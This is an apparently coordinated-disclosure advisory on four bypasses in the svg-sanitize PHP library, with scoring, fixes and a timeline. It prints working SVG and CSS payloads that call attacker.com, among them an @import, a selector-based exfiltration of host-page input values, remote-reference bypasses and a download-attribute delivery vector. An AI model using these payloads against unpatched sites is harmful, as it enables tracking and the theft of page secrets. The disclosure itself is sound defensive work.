← Research ledger
LowGHSA-qhmf-972w-m957CVSS 3.5CSS injectionPHP / svg-sanitizeFixed in 1.0.0· 8 min read

Four ways through the filter: CSS injection and remote references in svg-sanitize

The sanitizer checks names — element names, attribute names — but not meaning. A whitelisted <style> whose text nobody reads, a remote-reference option that only recognizes one spelling of "remote", a regex that insists on quotes, and a download attribute nobody questioned: four small gaps, one library, 45 million downloads.

By Denis Rostilov, ExPatch Vulnerability Research·Coordinated disclosure via GitHub Security Advisories
Scope

Analysis of enshrined/svg-sanitize ≤ 0.22.0 (any PHP version — logic bugs in the sanitizer). Fixed in 1.0.0. Published as GHSA-qhmf-972w-m957 under coordinated disclosure. Sibling findings: GHSA-9rjx-3jch-6vjf (stored XSS) and GHSA-v383-3rw5-q8rf (DoS crash).

Summary

This is the third and final advisory in our svg-sanitize series. The first abused what the sanitizer parsed (DTD entities), the second what it removed (DTD attribute declarations). This one is about what it never looked at in the first place: four independent ways to smuggle active or remote-loading content through a file that passes sanitization "clean."

None of the four is a parser bug — each is a design gap in the sanitizer's own checks, reproducible on any PHP version against every deployment of enshrined/svg-sanitize ≤ 0.22.0: 45.2M Packagist downloads, the WordPress Safe SVG plugin (1M+ active installs), TYPO3, Drupal modules, and 90+ dependents. Individually modest, together they dismantle two promises the library makes on its tin: that output carries no active content, and that removeRemoteReferences(true) removes remote references.

Vector 1 — <style>: whitelisted element, uninspected content

The <style> element is on the sanitizer's element whitelist — SVG would be half-useless without it. But while every attribute in the document is scrutinized, the text content of <style> is never inspected at all. Whatever CSS the attacker writes is serialized back out verbatim:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(https://attacker.com/steal.css);    svg { background: url(https://attacker.com/track.png) }  </style>
  <rect width="200" height="60" fill="#d33"/>
</svg>

Both lines survive sanitize() unchanged. The consequences go well beyond a tracking pixel. When the SVG is rendered inline in an HTML page, its stylesheet joins the page's cascade — and CSS attribute selectors can read the host document, one character per request:

/* inline SVG: the stylesheet's selectors reach the HOST page's DOM */
input[value^="a"] { background: url(https://attacker.com/leak?char=a) }
input[value^="b"] { background: url(https://attacker.com/leak?char=b) }
/* ...one rule per character: a secret input value leaks out char by char */

That is the classic CSS exfiltration primitive, delivered by the very file the sanitizer certified. The same channel loads external stylesheets and beacons opens/views. As with our earlier finding, the <img src> context is not affected — an SVG loaded as an image gets no cascade into the host page.

Vector 2 — <image href>: invisible to removeRemoteReferences

The library's own defense against exactly this class of problem is the removeRemoteReferences(true) option, which walks attributes and asks hasRemoteReference() whether each value points outward. That function recognizes one shape of remote reference — the url(...) CSS function. A bare URL sitting in an href attribute is not that shape, so this passes with the option enabled:

<image href="https://attacker.com/pixel.png" width="1" height="1"/><!-- survives sanitize() with removeRemoteReferences(true):
     hasRemoteReference() only matches the url(...) CSS function -->

The sanitized SVG, once viewed, phones home: a tracking pixel with IP disclosure and session correlation, from a file explicitly processed with remote-reference removal switched on.

Vector 3 — the regex that required quotes

Even the references hasRemoteReference() does look for can slip past it. The detection regex demands that the URL inside url(...) be quoted:

// hasRemoteReference() — the remote-URL detector
~^url\(\s*[\'\"]\s*(.*)\s*[\'\"]\s*\)$~xi   // quotes REQUIRED on both sides

CSS does not require those quotes. Drop them and the pattern no longer matches — the value is, as far as the sanitizer is concerned, not a remote reference at all:

<rect width="200" height="60" fill="url(https://attacker.com/track)"/><!-- unquoted url(): regex never fires, remote reference survives -->

Quoted, the identical URL is stripped; unquoted, it sails through. One punctuation detail decides whether the security option exists.

Vector 4 — <a download>: attacker-named file delivery

The download attribute sits in the sanitizer's allowed-attributes whitelist. That turns any sanitized SVG into a file-delivery mechanism: a link that, when clicked, saves attacker-chosen content under an attacker-chosen filename:

<a download="credentials.html" href="data:...">
  <rect width="200" height="60" fill="#d33"/>
  <text x="100" y="35" fill="#fff" text-anchor="middle">CLICK ME</text>
</a>

A direct data:text/html payload is caught by isHrefSafeValue() — the href check does its job there. But the safe-listed schemes include data:image/png and data:image/svg+xml, and that is where the nuance bites: an SVG is an active format, and a polyglot or an SVG carrying JavaScript keeps its data:image/svg+xml label while remaining a live document. The victim clicks a trusted-looking graphic, gets a download named by the attacker, opens it — and script runs in the file:/// origin with access to local files.

Four vectors, one root cause

VectorWhat's checkedWhat slips throughImpact
<style> contentelement name (whitelisted)its entire text content@import, CSS exfiltration of the host page, tracking
<image href>only url(...)-shaped valuesbare remote hreftracking pixel, IP/session disclosure
unquoted url()regex requiring quoteslegal unquoted syntaxsame remote loads, option enabled
<a download>attribute name (whitelisted)filename + data-URI payloadattacker-named downloads, file:/// script execution

Different code paths, identical design assumption: sanitize by name — element names, attribute names, one regex's idea of syntax — and never re-examine what the value actually does. Every check validated the shape of the container; nobody looked at the contents.

Honest scoping

The official score is CVSS 3.1: 3.5 (Low) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N — and we agree with the shape of it: an upload-capable account is needed (PR:L), the CSS-exfiltration vector fires only when the SVG is rendered inline, and the ceiling is information disclosure and tracking, not code execution on the server (the advisory also discusses a 4.3 variant; we report the official 3.5). Two things keep it worth fixing promptly anyway: it silently defeats removeRemoteReferences(true) — an option operators enable specifically to prevent this — and the exfiltration vector reads the host page, which is precisely where a sanitized, "safe" user upload tends to be inlined.

The fix

Patched upstream in 1.0.0. The advisory suggested closing each gap at the layer that owns it:

  1. Sanitize or strip <style> text content — treat CSS as content, not as an opaque blob inside a whitelisted element.
  2. Fix remote-reference detection — extend the hasRemoteReference() regex to accept unquoted url(), and check bare href/src values for ^https?://.
  3. Remove or filter the download attribute — a sanitizer that neutralizes active content should not gift-wrap file delivery.

Disclosure timeline

  • The four vectors were found by Denis Rostilov during an ExPatch audit of svg-sanitize's attribute and content pipeline — the same audit series that produced GHSA-9rjx-3jch-6vjf and GHSA-v383-3rw5-q8rf.
  • Reported privately to the maintainer via GitHub Security Advisories, with PoCs for each vector and the suggested fixes.
  • Fix shipped upstream in 1.0.0.
  • GHSA-qhmf-972w-m957 published; ExPatch Security Research / ExPatch-LLC credited as reporter. No CVE was assigned — the GHSA is the identifier.
  • 2026-09-25 — this writeup.

References